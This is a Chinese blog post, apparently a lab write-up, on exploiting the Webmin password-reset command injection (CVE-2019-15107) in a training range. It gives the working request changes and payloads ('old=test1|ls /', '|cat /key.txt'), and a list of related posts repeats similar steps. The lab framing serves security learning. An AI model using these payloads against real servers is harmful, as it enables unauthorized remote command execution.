墨者学院Webmin未经身份验证的远程代码执行

于 2025-04-08 14:54:00 发布
阅读量223 收藏 2
点赞数 8
CC 4.0 BY-SA版权
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/cjchsh/article/details/147044439

1.漏洞介绍

Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。

 

利用burp抓包发现两个位置进行修改

1.修改路径 session_ login.cgi 为 password_change.cgi
2.修改参数 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2

得到结果

查看key.txt :
user=jammny&pam=&expired=2&old=test1|cat /key.txt&new1=test2&new2=test2

发现了key提交

cjchsh
关注
墨者学院-Webmin未经身份验证的远程代码执行
qq_47094508的博客
07-01 690
首先拿到靶场后进行访问，访问后来到一个登陆页面根据题目可知，未授权的rce，所以可以先找一下历史CVE编号(CVE-2019-15107),找到之后直接对漏洞进行一个复现,漏洞点在密码重置功能出:Webmin--Webmin confuration--Authentication burp抓取流量包，然后修改参数，注意需要把session_login.cgi改成password_change.cgi，下面的参数直接复制就行 直接查询根下的key.txt即可......
墨者学院—Webmin未经身份验证的远程代码执行（简单复习）
LRedAnt的博客
12-25 1528
墨者学院—Webmin未经身份验证的远程代码执行（简单复习） 背景描述： Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计，互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功能后，攻击者可以通过发送POST请求在目标系统中执行任意命令，且无需身份验证。 漏洞介绍（cve-2019-1...
Webmin未经身份验证的远程代码执行（CVE-2019-15107）
m0_58606546的博客
01-11 3271
0x01 漏洞详情 Webmin是用于类似Unix的系统的基于Web的系统配置工具。该漏洞存在于密码重置页面中，该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞，该漏洞允许恶意第三方在缺少输入验证的情况下执行恶意代码，后经知道创宇404实验室发现，该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的。 0x02 影响版本 webmin<=1.920 0x03 漏
Webmin未经身份验证的远程代码执行-墨者学院
小白鸽
07-31 603
漏洞描述 Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计，互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功能后，攻击者可以通过发送POST请求在目标系统中执行任意命令，且无需身份验证。 漏洞介绍（cve-2019-15107） 1.漏洞编号： cve-2019-15107 2.漏洞描述： 该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码，该漏洞由于password_change.c
Webmin未经身份验证的远程代码执行
weixin_47493074的博客
09-21 259
Webmin漏洞
【墨者学院】Webmin未经身份验证的远程代码执行
yoyoko_chan的博客
07-29 586
0x00 0x01  进入靶场，发现是个登录界面  搜索查找了这个漏洞的详情后，知道了该漏洞编号为CVE-2019-15107，根据漏洞介绍，知道了该漏洞存在于密码重置页面中，该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。  所以将其用BurpSuite抓包到重放模块。修改访问地址、Referer以及POST内容  查看可知根目录下存在key.txt，修改poc读出key即可 0x03  学到了新的cve，了解了一个新的poc。 ...
墨者学院在线靶场WP
心想事成
12-22 1023
我们知道 HTTP 连接基于 TCP 连接，HTTP 协议中没有 IP 的概念，Remote Address 来自 TCP 连接，表示与服务端建立 TCP 连接的设备 IP，在这个例子里就是 IP3。Remote Address 无法伪造，因为建立 TCP 连接需要三次握手，如果伪造了源 IP，无法建立 TCP 连接，更不会有后面的 HTTP 请求。可以看到，XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成，最开始的是离服务端最远的设备 IP，然后是每一级代理设备的 IP。
墨者21道
帅醉了的博客
08-28 1011
1.1.1.uWSGI 漏洞复现（CVE-2018-7490） 测试详情 查找CVE-2018-7490漏洞，此漏洞构造…%2f可以访问任意文件，目录遍历，在key.txt前面多添加/…%2f…%2f…%2f…%2就可以得到key 1.1.2.Webmin未经身份验证的远程代码执行 测试详情 Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。 受影响的版本：Webmin<=1.920 抓包 修改包 第一步，修改
墨者靶场(初级) Webmin未经身份验证的远程代码执行
曹振国的博客
06-24 398
命令执行的漏洞在old参数后 1. 漏洞原理 https://www.anquanke.com/post/id/184668 2. 漏洞复现 https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md 3. 漏洞利用 （1）修改提交地址 POST /session_login.cgi HTTP/1.1 ===> POST /password_change.cgi HTTP/1.
Webmin未经身份验证的远程代码执行 CVE-2019-15107 漏洞复现
ADummy的博客
03-02 341
Webmin未经身份验证的远程代码执行（CVE-2019-15107） by ADummy 0x00利用路线 ​ burpuite抓包—>改包—>远程代码执行 0x01漏洞介绍 ​ 参考链接的有效负载不完整。深入阅读代码后，我发现只有在1.920之前不存在主体的用户参数时，才能执行命令，而在1.920处没有限制。 ​ 影响版本 Webmin < 1.920 0x02漏洞复现 ​ 参考链接的有效负载不完整。深入阅读代码后，我发现只有在1.920之前不存在主体的用户参数时，才能
墨者Webmin未经身份验证的远程代码执行(CVE-2019-15107)wp
m0_58543272的博客
08-10 617
墨者Webmin未经身份验证的远程代码执行wp
墨者Webmin未经身份验证的远程代码执行题解
zr1213159840的博客
01-11 489
先随便输入账号密码，然后抓包 将上图的post部分修改为 password_change.cgi 将提交的数据部分修改为 user=hhhh&pam=1&expired=2&old=cat /key.txt&new1=1111&new2=1111 一直forward拿到key
CVE-2019-15107 Webmin远程命令执行漏洞复现
EC_Carrot的博客
03-03 325
漏洞概括 Webmin的是一个用于管理类Unix的系统的管理配置工具，具有网络页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误，该错误允许恶意第三方由于缺少输入验证而执行恶意代码。 影响版本： Webmin <= 1.920 环境搭建 自己用docker搭了个1.910版本的Webmin，具体操作… 漏洞的触发需要开启密码重置功能，需要把允许用户使用旧密码设置新密码的选项给选上。 登录
Webmin 远程命令执行漏洞
jammny
01-16 1569
前言： Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。 影响版本： Webmin <= 1.920 漏洞代码： def peer "#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}" end # Targe...
漏洞复现------Webmin 远程命令执行漏洞（CVE-2019-15107）
Z_Grant的博客
09-23 9443
文章目录一，webmin简介二，漏洞概述三，漏洞复现(1)环境搭建(2)exp四，漏洞分析五，漏洞修复 一，webmin简介 什么是webmin Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作 http://www.webmin.com/ Webmin 是一个用 Perl 编写的基于浏览器的管理应用程序。 是一...
墨者学院sql手工注入
最新发布
03-03
这种技术能够绕过身份验证机制、读取敏感数据甚至控制服务器。 #### 靶场环境介绍 墨者学院提供了一个专门用于练习SQL注入技巧的安全测试平台[^2]。此靶场基于Nginx+PHP+MySQL架构构建而成，并且访问成本低廉——仅...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值